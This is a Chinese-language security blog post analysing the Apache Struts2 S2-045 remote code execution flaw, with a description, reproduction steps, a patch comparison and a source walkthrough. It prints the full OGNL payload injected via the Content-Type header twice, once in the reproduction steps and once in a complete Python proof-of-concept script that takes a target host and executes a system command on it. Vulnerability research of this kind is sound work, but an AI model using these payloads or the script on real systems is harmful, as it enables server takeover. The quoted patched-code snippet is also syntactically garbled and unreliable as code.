前言
Apache Struts2,一款使用 MVC 设计模式的企业级 Java Web 应用开源框架,作为 Web 应用,Struts2 是十分优秀的,许多大型的企业或公司都在使用它。但是在安全圈,Struts2 就显得有些尴尬了,频繁的爆出 RCE ,让人很是怀疑它的安全性。S2-016、S2-020、S2-032等都是十分霸道的漏洞,这次爆出的 S2-045 也一样,攻击者利用该漏洞可直接远程执行系统命令,从而取得网站服务器控制权。
漏洞描述
Struts2 默认解析上传文件的 Content-Type 头。在解析存在异常的情况下,会执行错误信息中的 OGNL 代码。
漏洞复现
- 首先正常访问一个使用 Jakarta 的 Apache Struts2 应用
- 再次访问时抓取请求数据包
- 修改 header 头,将 Content-Type 赋值为以下内容:
%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
- 将数据包重新发出,此时页面回显了 ifconfig 命令的执行结果,说明命令成功被执行。
版本对比
通过对比存在漏洞版本和新版本,发现新版本更新了三个文件:
/core/src/main/java/org/apache/struts2/dispatcher/multipart/MultiPartRequestWrapper.java
/core/src/main/java/org/apache/struts2/dispatcher/multipart/JakartaMultiPartRequest.java
/core/src/main/java/org/apache/struts2/dispatcher/multipart/JakartaStreamMultiPartRequest.java
三个文件内更新的内容一致,都是对用户报错行为加了判断条件
存在漏洞版本:
return LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, e.getMessage(), args);
已修复漏洞版本:
if {LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, null, new Object[0])
return LocalizedTextUtil.findText(this.getClass(), "struts.messagets.error.uploading"}
else{
return LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, null)
}
源码分析
源码中首先对请求的数据包进行封装:
request = prepare.wrapRequest(request);
在封装过程中经由下面的判断进行处理:
if {(content_type != null && content_type。contains("multipart/form-data"))
MultiPartRequest mpr = getMultiPartRequest();
LocaleProvider provider = getContainer().getInstance(LocaleProvider.class);
request = new MultiPartRequestWrapper(mpr, request, getSaveDir(),provider);
}else{
request = new StrutsRequestWrapper(request, disableRequestAttributeValueStackLookup);
}
return request;
其中content_type.contains("multipart/form-data"))一句对内容的类型进行了判断,而poc中对应的#nike='multipart/form-data'便是对内容类型的一个定义,是为了让if语句为真,为真时执行:MultiPartRequest mpr = getMultiPartRequest();其中getMultiPartRequest()是关键,它内部的struts.multipart.parser属性默认值为jakarta。
因此当有上传操作时,会默认使用 jakarta 作为文件上传解析器。再回顾存在漏洞的版本,当我们构造恶意请求数据包时,引发封装过程异常,e.getMessage() 为默认的 "the request doesn't contain a multipart/form-data or multipart/mixed stream, content type header is" + content-type,此时 http 请求头 content-type 中的{}内部引入的指令被执行。从而触发漏洞。
漏洞POC
# -*- coding:utf-8 -*-
import urllib2
import sys,os
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
def check(target):
register_openers()
datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
header["Content-Type"]="%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
try:
request = urllib2.Request(target, datagen, headers=header)
response = urllib2.urlopen(request, timeout=10)
result = response.read()
print result
except Exception,e:
print '[-]Error ' + str(e)
exit(0)
def main():
if 'tmp.txt' not in os.listdir('.'):
os.system('echo jenisec > ./tmp.txt')
else:
pass
if len(sys.argv) != 2:
print 'usage : python %s ip:port' % sys.argv[0]
exit(0)
if '443' in sys.argv[1] or '8443' in sys.argv[1]:
target = 'https://'+sys.argv[1]
else:
target = 'http://'+sys.argv[1]
check(target)
if __name__=='__main__':
main()
作者: JenI 转载请注明出处,谢谢
Comments !